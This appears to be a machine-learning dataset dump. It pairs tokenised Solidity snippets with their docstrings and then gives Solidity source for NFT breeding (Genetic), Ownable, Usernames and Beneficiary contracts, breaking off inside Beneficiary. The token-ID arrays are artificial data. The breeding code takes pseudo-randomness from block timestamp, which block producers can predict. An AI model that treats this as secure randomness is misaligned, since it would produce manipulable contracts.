0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
1624,
4464,
2437,
67,
42,
4610,
310,
21,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
565,
1450,
6057,
25121,
694,
364,
6057,
25121,
694,
18,
1887,
694,
31,
203,
377,
203,
565,
871,
534,
359,
14727,
1429,
4193,
12,
2867,
10438,
16,
2254,
3844,
1769,
203,
565,
871,
534,
359,
14727,
1669,
70,
295,
730,
12,
11890,
3844,
1769,
203,
377,
203,
565,
1758,
1071,
5381,
511,
52,
2316,
1887,
273,
374,
92,
6938,
70,
27,
3437,
4313,
5540,
3103,
6675,
3672,
26,
39,
71,
38,
69,
4449,
28,
38,
20,
37,
26,
71,
7235,
26009,
69,
29,
9222,
41,
29,
31,
203,
565,
1758,
1071,
5381,
1147,
1887,
273,
374,
92,
11290,
42,
6938,
69,
39,
6675,
26,
71,
10689,
4366,
40,
11861,
8522,
29,
39,
22,
39,
11180,
3030,
1441,
73,
40,
7616,
22,
1578,
2643,
74,
31,
7010,
565,
2254,
1071,
5381,
598,
9446,
14667,
8410,
60,
6625,
273,
6437,
31,
203,
565,
2254,
1071,
5381,
1015,
70,
295,
307,
6275,
273,
4200,
73,
2643,
31,
203,
565,
2254,
1071,
5381,
1015,
70,
295,
307,
5326,
273,
2371,
4681,
31,
203,
377,
203,
377,
203,
565,
2254,
1071,
1015,
70,
295,
307,
8410,
60,
6625,
273,
12619,
31,
203,
377,
203,
565,
2254,
1071,
1142,
1669,
70,
295,
307,
950,
31,
203,
377,
203,
565,
3885,
1435,
225,
288,
203,
3639,
1142,
1669,
70,
295,
307,
950,
273,
1203,
18,
5508,
31,
203,
565,
289,
203,
203,
377,
203,
565,
2254,
1071,
2078,
9762,
2
]
|
./full_match/80001/0x609d55e56bE77041B589E6409EfB05Ac8d680707/sources/MasterChef2.sol | View function to see pending EGGs on frontend. | function pendingEgg(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accFoxPerShare = pool.accFoxPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 eggReward = multiplier.mul(foxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accFoxPerShare = accFoxPerShare.add(eggReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accFoxPerShare).div(1e12).sub(user.rewardDebt);
}
| 871,420 | [
1,
1767,
445,
358,
2621,
4634,
512,
19491,
87,
603,
15442,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4634,
41,
14253,
12,
11890,
5034,
389,
6610,
16,
1758,
389,
1355,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
67,
1355,
15533,
203,
3639,
2254,
5034,
4078,
42,
2409,
2173,
9535,
273,
2845,
18,
8981,
42,
2409,
2173,
9535,
31,
203,
3639,
2254,
5034,
12423,
3088,
1283,
273,
2845,
18,
9953,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
2629,
18,
2696,
405,
2845,
18,
2722,
17631,
1060,
1768,
597,
12423,
3088,
1283,
480,
374,
13,
288,
203,
5411,
2254,
5034,
15027,
273,
31863,
5742,
12,
6011,
18,
2722,
17631,
1060,
1768,
16,
1203,
18,
2696,
1769,
203,
5411,
2254,
5034,
25144,
17631,
1060,
273,
15027,
18,
16411,
12,
13873,
2173,
1768,
2934,
16411,
12,
6011,
18,
9853,
2148,
2934,
2892,
12,
4963,
8763,
2148,
1769,
203,
5411,
4078,
42,
2409,
2173,
9535,
273,
4078,
42,
2409,
2173,
9535,
18,
1289,
12,
23171,
17631,
1060,
18,
16411,
12,
21,
73,
2138,
2934,
2892,
12,
9953,
3088,
1283,
10019,
203,
3639,
289,
203,
3639,
327,
729,
18,
8949,
18,
16411,
12,
8981,
42,
2409,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/137/0x602f47c53fbd3D6F6783F26E01623cCfd53268D0/sources/main-contract/main-contract/XUSDPrime.sol | Enable whitelist functionality | function enableWhitelist() public onlyOwner {
whitelistEnabled = true;
}
| 4,787,706 | [
1,
8317,
10734,
14176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4237,
18927,
1435,
1071,
1338,
5541,
288,
203,
3639,
10734,
1526,
273,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/42/0xAfd8Fdb491e8fB399194C0E7281929B634fFda56/sources/CFD.sol | * @notice close all the positions @param _exchange IExchange address/ check conditions update position add scope for stack too deep error transfer the actual token from trader and vault avoid stack too deep prepare event | function closePosition(IExchange _exchange, Decimal.decimal calldata _quoteAssetAmountLimit)
external
whenNotPaused()
nonReentrant()
{
requireExchange(_exchange, true);
requireNotRestrictionMode(_exchange);
address trader = msg.sender;
adjustPositionForLiquidityChanged(_exchange, trader);
PositionResp memory positionResp = internalClosePosition(_exchange, trader, _quoteAssetAmountLimit, true);
{
if (positionResp.badDebt.toUint() > 0) {
enterRestrictionMode(_exchange);
realizeBadDebt(_exchange, positionResp.badDebt);
}
withdraw(_exchange, trader, positionResp.marginToVault.abs());
}
{
uint256 spotPrice = _exchange.getSpotPrice().toUint();
int256 fundingPayment = positionResp.fundingPayment.toInt();
uint256 overnightFee = positionResp.overnightFee.toUint();
emit PositionChanged(
trader,
address(_exchange),
positionResp.exchangedQuoteAssetAmount.toUint(),
positionResp.exchangedPositionSize.toInt(),
transferredFee.toUint(),
positionResp.position.size.toInt(),
positionResp.realizedPnl.toInt(),
positionResp.badDebt.toUint(),
0,
spotPrice,
fundingPayment,
overnightFee
);
}
}
| 3,377,227 | [
1,
4412,
777,
326,
6865,
225,
389,
16641,
467,
11688,
1758,
19,
866,
4636,
1089,
1754,
527,
2146,
364,
2110,
4885,
4608,
555,
7412,
326,
3214,
1147,
628,
1284,
765,
471,
9229,
4543,
2110,
4885,
4608,
2911,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1746,
2555,
12,
45,
11688,
389,
16641,
16,
11322,
18,
12586,
745,
892,
389,
6889,
6672,
6275,
3039,
13,
203,
3639,
3903,
203,
3639,
1347,
1248,
28590,
1435,
203,
3639,
1661,
426,
8230,
970,
1435,
203,
565,
288,
203,
3639,
2583,
11688,
24899,
16641,
16,
638,
1769,
203,
3639,
2583,
1248,
11670,
2309,
24899,
16641,
1769,
203,
203,
3639,
1758,
1284,
765,
273,
1234,
18,
15330,
31,
203,
3639,
5765,
2555,
1290,
48,
18988,
24237,
5033,
24899,
16641,
16,
1284,
765,
1769,
203,
3639,
11010,
9732,
3778,
1754,
9732,
273,
2713,
4605,
2555,
24899,
16641,
16,
1284,
765,
16,
389,
6889,
6672,
6275,
3039,
16,
638,
1769,
203,
203,
3639,
288,
203,
5411,
309,
261,
3276,
9732,
18,
8759,
758,
23602,
18,
869,
5487,
1435,
405,
374,
13,
288,
203,
7734,
6103,
11670,
2309,
24899,
16641,
1769,
203,
7734,
2863,
554,
6434,
758,
23602,
24899,
16641,
16,
1754,
9732,
18,
8759,
758,
23602,
1769,
203,
5411,
289,
203,
5411,
598,
9446,
24899,
16641,
16,
1284,
765,
16,
1754,
9732,
18,
10107,
774,
12003,
18,
5113,
10663,
203,
3639,
289,
203,
203,
203,
203,
3639,
288,
203,
5411,
2254,
5034,
16463,
5147,
273,
389,
16641,
18,
588,
17292,
5147,
7675,
869,
5487,
5621,
203,
5411,
509,
5034,
22058,
6032,
273,
1754,
9732,
18,
74,
14351,
6032,
18,
869,
1702,
5621,
203,
5411,
2254,
5034,
1879,
18840,
14667,
273,
1754,
9732,
18,
1643,
18840,
14667,
18,
869,
5487,
5621,
203,
5411,
3626,
11010,
5033,
12,
203,
7734,
1284,
765,
16,
203,
7734,
1758,
24899,
2
]
|
pragma solidity ^0.4.24;
// File: contracts/Genetic.sol
// solhint-disable-next-line
pragma solidity ^0.4.23;
contract Genetic {
// TODO mutations
// maximum number of random mutations per chromatid
uint8 public constant R = 5;
// solhint-disable-next-line function-max-lines
function breed(uint256[2] mother, uint256[2] father, uint256 seed) internal view returns (uint256[2] memOffset) {
// Meiosis I: recombining alleles (Chromosomal crossovers)
// Note about optimization I: no cell duplication,
// producing 2 seeds/eggs per cell is enough, instead of 4 (like humans do)
// Note about optimization II: crossovers happen,
// but only 1 side of the result is computed,
// as the other side will not affect anything.
// solhint-disable-next-line no-inline-assembly
assembly {
// allocate output
// 1) get the pointer to our memory
memOffset := mload(0x40)
// 2) Change the free-memory pointer to keep our memory
// (we will only use 64 bytes: 2 values of 256 bits)
mstore(0x40, add(memOffset, 64))
// Put seed in scratchpad 0
mstore(0x0, seed)
// Also use the timestamp, best we could do to increase randomness
// without increasing costs dramatically. (Trade-off)
mstore(0x20, timestamp)
// Hash it for a universally random bitstring.
let hash := keccak256(0, 64)
// Byzantium VM does not support shift opcodes, will be introduced in Constantinople.
// Soldity itself, in non-assembly, also just uses other opcodes to simulate it.
// Optmizer should take care of inlining, just declare shiftR ourselves here.
// Where possible, better optimization is applied to make it cheaper.
function shiftR(value, offset) -> result {
result := div(value, exp(2, offset))
}
// solhint-disable max-line-length
// m_context << Instruction::SWAP1 << u256(2) << Instruction::EXP << Instruction::SWAP1 << (c_leftSigned ? Instruction::SDIV : Instruction::DIV);
// optimization: although one side consists of multiple chromatids,
// we handle them just as one long chromatid:
// only difference is that a crossover in chromatid i affects chromatid i+1.
// No big deal, order and location is random anyway
function processSide(fatherSrc, motherSrc, rngSrc) -> result {
{
// initial rngSrc bit length: 254 bits
// Run the crossovers
// =====================================================
// Pick some crossovers
// Each crossover is spaced ~64 bits on average.
// To achieve this, we get a random 7 bit number, [0, 128), for each crossover.
// 256 / 64 = 4, we need 4 crossovers,
// and will have 256 / 127 = 2 at least (rounded down).
// Get one bit determining if we should pick DNA from the father,
// or from the mother.
// This changes every crossover. (by swapping father and mother)
{
if eq(and(rngSrc, 0x1), 0) {
// Swap mother and father,
// create a temporary variable (code golf XOR swap costs more in gas)
let temp := fatherSrc
fatherSrc := motherSrc
motherSrc := temp
}
// remove the bit from rng source, 253 rng bits left
rngSrc := shiftR(rngSrc, 1)
}
// Don't push/pop this all the time, we have just enough space on stack.
let mask := 0
// Cap at 4 crossovers, no more than that.
let cap := 0
let crossoverLen := and(rngSrc, 0x7f) // bin: 1111111 (7 bits ON)
// remove bits from hash, e.g. 254 - 7 = 247 left.
rngSrc := shiftR(rngSrc, 7)
let crossoverPos := crossoverLen
// optimization: instead of shifting with an opcode we don't have until Constantinople,
// keep track of the a shifted number, updated using multiplications.
let crossoverPosLeading1 := 1
// solhint-disable-next-line no-empty-blocks
for { } and(lt(crossoverPos, 256), lt(cap, 4)) {
crossoverLen := and(rngSrc, 0x7f) // bin: 1111111 (7 bits ON)
// remove bits from hash, e.g. 254 - 7 = 247 left.
rngSrc := shiftR(rngSrc, 7)
crossoverPos := add(crossoverPos, crossoverLen)
cap := add(cap, 1)
} {
// Note: we go from right to left in the bit-string.
// Create a mask for this crossover.
// Example:
// 00000000000001111111111111111110000000000000000000000000000000000000000000000000000000000.....
// |Prev. data ||Crossover here ||remaining data .......
//
// The crossover part is copied from the mother/father to the child.
// Create the bit-mask
// Create a bitstring that ignores the previous data:
// 00000000000001111111111111111111111111111111111111111111111111111111111111111111111111111.....
// First create a leading 1, just before the crossover, like:
// 00000000000010000000000000000000000000000000000000000000000000000000000.....
// Then substract 1, to get a long string of 1s
// 00000000000001111111111111111111111111111111111111111111111111111111111111111111111111111.....
// Now do the same for the remain part, and xor it.
// leading 1
// 00000000000000000000000000000010000000000000000000000000000000000000000000000000000000000.....
// sub 1
// 00000000000000000000000000000001111111111111111111111111111111111111111111111111111111111.....
// xor with other
// 00000000000001111111111111111111111111111111111111111111111111111111111111111111111111111.....
// 00000000000000000000000000000001111111111111111111111111111111111111111111111111111111111.....
// 00000000000001111111111111111110000000000000000000000000000000000000000000000000000000000.....
// Use the final shifted 1 of the previous crossover as the start marker
mask := sub(crossoverPosLeading1, 1)
// update for this crossover, (and will be used as start for next crossover)
crossoverPosLeading1 := mul(1, exp(2, crossoverPos))
mask := xor(mask,
sub(crossoverPosLeading1, 1)
)
// Now add the parent data to the child genotype
// E.g.
// Mask: 00000000000001111111111111111110000000000000000000000000000000000000000000000000000000000....
// Parent: 10010111001000110101011111001010001011100000000000010011000001000100000001011101111000111....
// Child (pre): 00000000000000000000000000000001111110100101111111000011001010000000101010100000110110110....
// Child (post): 00000000000000110101011111001011111110100101111111000011001010000000101010100000110110110....
// To do this, we run: child_post = child_pre | (mask & father)
result := or(result, and(mask, fatherSrc))
// Swap father and mother, next crossover will take a string from the other.
let temp := fatherSrc
fatherSrc := motherSrc
motherSrc := temp
}
// We still have a left-over part that was not copied yet
// E.g., we have something like:
// Father: | xxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxx ....
// Mother: |############ xxxxxxxxxx xxxxxxxxxxxx....
// Child: | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx....
// The ############ still needs to be applied to the child, also,
// this can be done cheaper than in the loop above,
// as we don't have to swap anything for the next crossover or something.
// At this point we have to assume 4 crossovers ran,
// and that we only have 127 - 1 - (4 * 7) = 98 bits of randomness left.
// We stopped at the bit after the crossoverPos index, see "x":
// 000000000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.....
// now create a leading 1 at crossoverPos like:
// 000000001000000000000000000000000000000000000000000000000000000000000000000.....
// Sub 1, get the mask for what we had.
// 000000000111111111111111111111111111111111111111111111111111111111111111111.....
// Invert, and we have the final mask:
// 111111111000000000000000000000000000000000000000000000000000000000000000000.....
mask := not(sub(crossoverPosLeading1, 1))
// Apply it to the result
result := or(result, and(mask, fatherSrc))
// Random mutations
// =====================================================
// random mutations
// Put rng source in scratchpad 0
mstore(0x0, rngSrc)
// And some arbitrary padding in scratchpad 1,
// used to create different hashes based on input size changes
mstore(0x20, 0x434f4c4c454354205045504553204f4e2043525950544f50455045532e494f21)
// Hash it for a universally random bitstring.
// Then reduce the number of 1s by AND-ing it with other *different* hashes.
// Each bit in mutations has a probability of 0.5^5 = 0.03125 = 3.125% to be a 1
let mutations := and(
and(
and(keccak256(0, 32), keccak256(1, 33)),
and(keccak256(2, 34), keccak256(3, 35))
),
keccak256(0, 36)
)
result := xor(result, mutations)
}
}
{
// Get 1 bit of pseudo randomness that will
// determine if side #1 will come from the left, or right side.
// Either 0 or 1, shift it by 5 bits to get either 0x0 or 0x20, cheaper later on.
let relativeFatherSideLoc := mul(and(hash, 0x1), 0x20) // shift by 5 bits = mul by 2^5=32 (0x20)
// Either 0 or 1, shift it by 5 bits to get either 0x0 or 0x20, cheaper later on.
let relativeMotherSideLoc := mul(and(hash, 0x2), 0x10) // already shifted by 1, mul by 2^4=16 (0x10)
// Now remove the used 2 bits from the hash, 254 bits remaining now.
hash := div(hash, 4)
// Process the side, load the relevant parent data that will be used.
mstore(memOffset, processSide(
mload(add(father, relativeFatherSideLoc)),
mload(add(mother, relativeMotherSideLoc)),
hash
))
// The other side will be the opposite index: 1 -> 0, 0 -> 1
// Apply it to the location,
// which is either 0x20 (For index 1) or 0x0 for index 0.
relativeFatherSideLoc := xor(relativeFatherSideLoc, 0x20)
relativeMotherSideLoc := xor(relativeMotherSideLoc, 0x20)
mstore(0x0, seed)
// Second argument will be inverse,
// resulting in a different second hash.
mstore(0x20, not(timestamp))
// Now create another hash, for the other side
hash := keccak256(0, 64)
// Process the other side
mstore(add(memOffset, 0x20), processSide(
mload(add(father, relativeFatherSideLoc)),
mload(add(mother, relativeMotherSideLoc)),
hash
))
}
}
// Sample input:
// ["0xAAABBBBBBBBCCCCCCCCAAAAAAAAABBBBBBBBBBCCCCCCCCCAABBBBBBBCCCCCCCC","0x4444444455555555555555556666666666666644444444455555555555666666"]
//
// ["0x1111111111112222222223333311111111122222223333333331111112222222","0x7777788888888888999999999999977777777777788888888888999999997777"]
// Expected results (or similar, depends on the seed):
// 0xAAABBBBBBBBCCCCCCCCAAAAAAAAABBBBBBBBBBCCCCCCCCCAABBBBBBBCCCCCCCC < Father side A
// 0x4444444455555555555555556666666666666644444444455555555555666666 < Father side B
// 0x1111111111112222222223333311111111122222223333333331111112222222 < Mother side A
// 0x7777788888888888999999999999977777777777788888888888999999997777 < Mother side B
// xxxxxxxxxxxxxxxxx xxxxxxxxx xx
// 0xAAABBBBBBBBCCCCCD99999999998BBBBBBBBF77778888888888899999999774C < Child side A
// xxx xxxxxxxxxxx
// 0x4441111111112222222223333366666666666222223333333331111112222222 < Child side B
// And then random mutations, for gene pool expansion.
// Each bit is flipped with a 3.125% chance
// Example:
//a2c37edc61dca0ca0b199e098c80fd5a221c2ad03605b4b54332361358745042 < random hash 1
//c217d04b19a83fe497c1cf6e1e10030e455a0812a6949282feec27d67fe2baa7 < random hash 2
//2636a55f38bed26d804c63a13628e21b2d701c902ca37b2b0ca94fada3821364 < random hash 3
//86bb023a85e2da50ac233b946346a53aa070943b0a8e91c56e42ba181729a5f9 < random hash 4
//5d71456a1288ab30ddd4c955384d42e66a09d424bd7743791e3eab8e09aa13f1 < random hash 5
//0000000800800000000000000000000200000000000000000000020000000000 < resulting mutation
//aaabbbbbbbbcccccd99999999998bbbbbbbbf77778888888888899999999774c < original
//aaabbbb3bb3cccccd99999999998bbb9bbbbf7777888888888889b999999774c < mutated (= original XOR mutation)
}
// Generates (psuedo) random Pepe DNA
function randomDNA(uint256 seed) internal pure returns (uint256[2] memOffset) {
// solhint-disable-next-line no-inline-assembly
assembly {
// allocate output
// 1) get the pointer to our memory
memOffset := mload(0x40)
// 2) Change the free-memory pointer to keep our memory
// (we will only use 64 bytes: 2 values of 256 bits)
mstore(0x40, add(memOffset, 64))
// Load the seed into 1st scratchpad memory slot.
// adjacent to the additional value (used to create two distinct hashes)
mstore(0x0, seed)
// In second scratchpad slot:
// The additional value can be any word, as long as the caller uses
// it (second hash needs to be different)
mstore(0x20, 0x434f4c4c454354205045504553204f4e2043525950544f50455045532e494f21)
// // Create first element pointer of array
// mstore(memOffset, add(memOffset, 64)) // pointer 1
// mstore(add(memOffset, 32), add(memOffset, 96)) // pointer 2
// control block to auto-pop the hash.
{
// L * N * 2 * 4 = 4 * 2 * 2 * 4 = 64 bytes, 2x 256 bit hash
// Sha3 is cheaper than sha256, make use of it
let hash := keccak256(0, 64)
// Store first array value
mstore(memOffset, hash)
// Now hash again, but only 32 bytes of input,
// to ignore make the input different than the previous call,
hash := keccak256(0, 32)
mstore(add(memOffset, 32), hash)
}
}
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/Usernames.sol
// solhint-disable-next-line
pragma solidity ^0.4.19;
contract Usernames {
mapping(address => bytes32) public addressToUser;
mapping(bytes32 => address) public userToAddress;
event UserNamed(address indexed user, bytes32 indexed username);
/**
* Claim a username. Frees up a previously used one
* @param _username to claim
*/
function claimUsername(bytes32 _username) external {
require(userToAddress[_username] == address(0));// Username must be free
if (addressToUser[msg.sender] != bytes32(0)) { // If user already has username free it up
userToAddress[addressToUser[msg.sender]] = address(0);
}
//all is well assign username
addressToUser[msg.sender] = _username;
userToAddress[_username] = msg.sender;
emit UserNamed(msg.sender, _username);
}
}
// File: contracts/Beneficiary.sol
// solhint-disable-next-line
pragma solidity ^0.4.24;
/** @title Beneficiary */
contract Beneficiary is Ownable {
address public beneficiary;
constructor() public {
beneficiary = msg.sender;
}
/**
* @dev Change the beneficiary address
* @param _beneficiary Address of the new beneficiary
*/
